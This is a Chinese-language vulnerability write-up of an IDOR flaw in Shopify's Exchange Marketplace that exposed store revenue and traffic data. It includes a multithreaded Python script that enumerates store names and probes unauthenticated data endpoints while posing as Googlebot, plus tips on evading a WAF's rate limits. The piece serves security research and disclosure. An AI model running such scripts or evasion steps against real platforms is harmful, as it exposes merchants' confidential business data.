我是如何获得数千家Shopify商店的收入情况和流量数据?
字数 1046 2025-08-26 22:11:22
Shopify商店数据泄露漏洞分析与利用技术详解
漏洞概述
本教学文档详细分析了一个Shopify平台上的IDOR(不安全的直接对象引用)漏洞,该漏洞允许攻击者获取数千家Shopify商店的收入和流量数据。漏洞存在于Shopify Exchange Marketplace应用中,通过构造特定API请求可获取敏感商业数据。
漏洞发现过程
初始发现
-
通过自动化监控Shopify资产发现可疑API端点:
/shops/[storeName]/traffic_data.json/shops/[storeName]/revenue_data.json
-
测试发现直接访问这些端点可获取商店数据:
curl -s https://exchange.shopify.com/shops/$storeName/revenue_data.json
漏洞验证
- 初步测试显示部分商店数据可被获取
- 新建商店测试返回404,表明漏洞存在条件限制
- 需要构建大量商店名单进行验证
技术实现细节
商店名单获取方法
方法一:DNS反查
- 发现
[storeName].myshopify.com的CNAME记录指向shops.myshopify.com - 使用反向IP查询获取关联域名:
import requests import json def rev(dom): _api = "https://domains.yougetsignal.com/domains.php" _data = {'remoteAddress': dom} response = requests.post(_api, data=_data).content _json = json.loads(response) return _json['domainArray']
方法二:FDNS数据利用
- 使用公共DNS转发数据获取更大规模的商店名单
- 查找所有CNAME指向
shops.myshopify.com的记录 - 可获取数百万级别的商店数据
漏洞利用脚本
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
_headers = {
'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
def myshopify(shops):
try:
source = requests.get("https://" + shops).text
soup = bs.BeautifulSoup(source, 'html.parser')
scripts = soup.find_all('script')
for script in scripts:
if 'window.Shopify.Checkout.apiHost' in script.text:
index1 = script.text.index('"')
index2 = script.text.index('myshopify')
StoreName = script.text[index1 + 1:index2 - 2]
with open('shops.txt', 'a') as output:
output.write(StoreName + "\n")
except:
pass
def almostvuln(StoreName):
POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(StoreName)
try:
_Response = requests.get(POC_URL, headers=_headers, verify=False, allow_redirects=True)
if _Response.status_code in [200, 304]:
vuln_stores.append(StoreName)
print(StoreName)
except:
pass
return vuln_stores
if __name__ == '__main__':
try:
shops = [line.rstrip('\n') for line in open('wordlist.txt')]
with ThreadPoolExecutor(max_workers=50) as executor:
executor.map(myshopify, shops)
vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
with ThreadPoolExecutor(max_workers=50) as executor1:
executor1.map(almostvuln, vuln_stores)
except KeyboardInterrupt:
print("")
绕过WAF限制
- 初始大规模请求导致403错误(IP被封禁)
- 改用bash脚本单线程慢速请求绕过速率限制
- 最终成功获取数千家商店的完整销售数据
漏洞影响分析
- 影响范围:安装了Shopify Exchange App的所有商家
- 数据类型:
- 月度收入数据(2015年至今)
- 流量数据
- CVSS评分:7.5(高危)
- 利用条件:无需任何特权或用户交互
漏洞根本原因
- Shopify Exchange App(商家应用)的安全缺陷
- API端点未实施适当的访问控制
- 敏感数据接口未进行身份验证
防御建议
-
API安全:
- 实施严格的访问控制
- 添加身份验证机制
- 对敏感数据进行加密
-
监控措施:
- 异常访问模式检测
- API调用频率限制
-
开发实践:
- 安全代码审查
- 自动化API安全测试
-
应急响应:
- 快速漏洞修复机制
- 及时通知受影响用户
总结
本案例展示了如何通过系统化的安全研究方法发现高危漏洞。关键点包括:
- 持续监控目标资产变化
- 自动化工具与手动验证结合
- 大规模数据分析技术
- 绕过防御机制的技巧
- 完整的漏洞证明过程
此漏洞的发现和报告过程也强调了负责任的漏洞披露原则,以及与厂商良好沟通的重要性。